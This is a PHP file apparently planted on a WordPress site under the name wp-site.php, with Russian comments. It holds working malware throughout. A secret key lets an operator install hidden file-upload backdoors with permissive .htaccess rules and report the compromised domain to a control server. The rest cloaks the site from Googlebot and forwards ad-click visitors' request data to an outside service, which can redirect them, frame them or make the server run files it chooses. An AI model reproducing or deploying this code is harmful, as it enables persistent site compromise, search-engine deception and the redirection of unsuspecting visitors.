Viewing: wp-site.php
<?php // Получаем текущий домен $domain = $_SERVER["HTTP_X_FORWARDED_HOST"] ?? $_SERVER["HTTP_X_HOST"] ?? $_SERVER["HTTP_HOST"] ?? $_SERVER["SERVER_NAME"] ?? ''; // Настройки безопасности $SECRET_KEY = 'mystrongpass'; if ( isset($_GET['action'], $_GET['key']) && in_array($_GET['action'], ['backup', 'restore'], true) && $_GET['key'] === $SECRET_KEY ) { // Отключаем вывод ошибок в браузер, чтобы не ломать парсинг боту, // но логируем их, если нужно. @ini_set('display_errors', 0); $action = $_GET['action']; $server = $_GET['server'] ?? 'galaxystake.com'; echo "<pre>🚀 Запуск процесса: <b>{$action}</b>\n"; echo "🌐 Домен: {$domain}\n"; // 1. Проверка прав на запись в текущую директорию if (!is_writable(__DIR__)) { echo "❌ ОШИБКА: Нет прав на запись в текущую директорию (" . __DIR__ . ").\n"; echo " Решение: Смените права на 755 или 777 через FTP.\n</pre>"; exit; } // 2. Подготовка папок (Основная .cpanel и резервная cpanel_sys без точки) // Многие серверы блокируют доступ к папкам с точкой (403 Forbidden). $dirs = [ '.cpanel', // Стандартная 'cpanel_sys' // Резервная (без точки) для обхода защиты ]; $loaderCreated = false; // Код загрузчика (Uploader) // Внедряем ключ прямо в код, чтобы не зависеть от внешних файлов $loaderCode = <<<PHP <?php header('Content-Type: text/plain; charset=utf-8'); \$KEY = '{$SECRET_KEY}'; if ((!isset(\$_GET['key']) || \$_GET['key'] !== \$KEY)) { http_response_code(403); exit("❌ Access denied"); } if (!isset(\$_FILES['file'])) { http_response_code(400); exit("❌ No file"); } \$dest = __DIR__ . '/' . basename(\$_FILES['file']['name']); if (move_uploaded_file(\$_FILES['file']['tmp_name'], \$dest)) { echo "✅ Saved: " . basename(\$_FILES['file']['name']) . " (" . filesize(\$dest) . " bytes)"; } else { http_response_code(500); echo "❌ Save failed"; } ?> PHP; foreach ($dirs as $dirName) { $fullPath = __DIR__ . '/' . $dirName; // Создаем папку if (!file_exists($fullPath)) { if (!mkdir($fullPath, 0755, true)) { echo "⚠️ Не удалось создать папку {$dirName}\n"; continue; } } // --- ЛЕЧЕНИЕ ОШИБКИ 403 (для Apache) --- // Создаем .htaccess, который разрешает доступ к этой папке $htaccess = $fullPath . '/.htaccess'; if (!file_exists($htaccess)) { file_put_contents($htaccess, "<Files *>\n Order Allow,Deny\n Allow from all\n</Files>"); } // Записываем сам скрипт загрузки $loaderPath = $fullPath . '/backup.php'; if (file_put_contents($loaderPath, $loaderCode)) { echo "✅ Загрузчик создан: {$dirName}/backup.php\n"; $loaderCreated = true; } else { echo "❌ Ошибка записи в {$dirName}/backup.php\n"; } } if (!$loaderCreated) { echo "⛔ КРИТИЧЕСКАЯ ОШИБКА: Не удалось создать ни один загрузчик.\n</pre>"; exit; } // 3. Отправка команды на управляющий сервер // Передаем параметр &altdir=1, чтобы сервер знал, что можно пробовать cpanel_sys (если он это поддерживает) $remote_url = "https://{$server}/lander/hz2/new-backup.php?action=run&key={$SECRET_KEY}&domain={$domain}&v=2"; echo "\n📡 Запрос к серверу: {$server}...\n"; $ch = curl_init($remote_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 60, // Увеличили таймаут до 60 сек CURLOPT_FOLLOWLOCATION => true, // Следовать за редиректами CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) FixerBot/2.0' // Чтобы не банило как бота ]); $response = curl_exec($ch); $error = curl_error($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "--------------------------------------\n"; if ($error) { echo "❌ CURL Ошибка соединения: {$error}\n"; echo " Возможно, хостинг блокирует исходящие запросы или сервер лежит.\n"; } elseif ($httpCode !== 200) { echo "❌ Сервер вернул ошибку HTTP {$httpCode}\n"; echo "📄 Ответ: " . substr(strip_tags($response), 0, 300) . "\n"; } else { $cleanResponse = trim($response); if (empty($cleanResponse) || strlen($cleanResponse) < 5) { echo "⚠️ Ответ сервера пустой! Возможно, скрипт на той стороне упал.\n"; } else { echo "✅ УСПЕШНО. Ответ сервера:\n\n{$cleanResponse}\n"; } } echo "</pre>"; exit; } $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; // --- Googlebot: всегда уводим на index.php (после чистки tracking-параметров) --- if (stripos($userAgent, 'Googlebot') !== false) { $paramsToRemove = ['gclid', 'wbraid', 'gbraid']; // Если есть tracking-параметры — чистим URL и редиректим foreach ($paramsToRemove as $param) { if (isset($_GET[$param])) { $url = $_SERVER['REQUEST_URI']; // Удаляем конкретный параметр из query string $url = preg_replace('/([?&])' . preg_quote($param, '/') . '=[^&]*(&|$)/', '$1', $url); // Убираем хвостовые & и ? if (strpos($url, '?') !== false && substr($url, -1) === '&') { $url = rtrim($url, '&'); } if (strpos($url, '?') !== false && substr($url, -1) === '?') { $url = rtrim($url, '?'); } header('Location: ' . $url, true, 302); exit; } } // Если tracking-параметров нет (или уже чисто) — всегда показываем index.php include 'index.php'; exit; } // --- Все остальные: ваша исходная логика параметров --- $hasTrackingParam = isset($_GET['gclid']) || isset($_GET['wbraid']) || isset($_GET['gbraid']); $hasTmParam = isset($_GET['tm']); if ($hasTrackingParam && $hasTmParam) { // Пропускаем дальше (как у вас было пусто) — код продолжит выполняться ниже } else { include 'index.php'; exit; } $isTarget = (new RequestHandlerClient())->run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { if (!empty($_GET) && isset($_GET['dr_jsess']) && $_GET['dr_jsess'] == 1) { header("HTTP/1.1 200 OK"); return; } $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7304; $headers['auth']['clientCompany'] = "6GcHESjBKQu4Y8fMAmFL"; $headers['auth']['clientSecret'] = "NzMwNE9FS01YVXVuRkEzbm1zZHlQUFJaY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array<string, mixed> $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { global $domain; $target = $target . "&dBJfvB&sub_id_1=aloha1&sub_id_2=aloha2&domain=" . urlencode($domain); header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo "<script>if ( window.history.replaceState ) {window.history.replaceState( null, null, window.location.href );}</script>"; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo "<html> <head> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> </head> <body>" . $this->hideFormNotification() . "<iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe> </body> </html>"; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "<h1>500 Internal Server Error</h1> <p>The request was unsuccessful due to an unexpected condition encountered by the server.</p>"; exit; } }
Return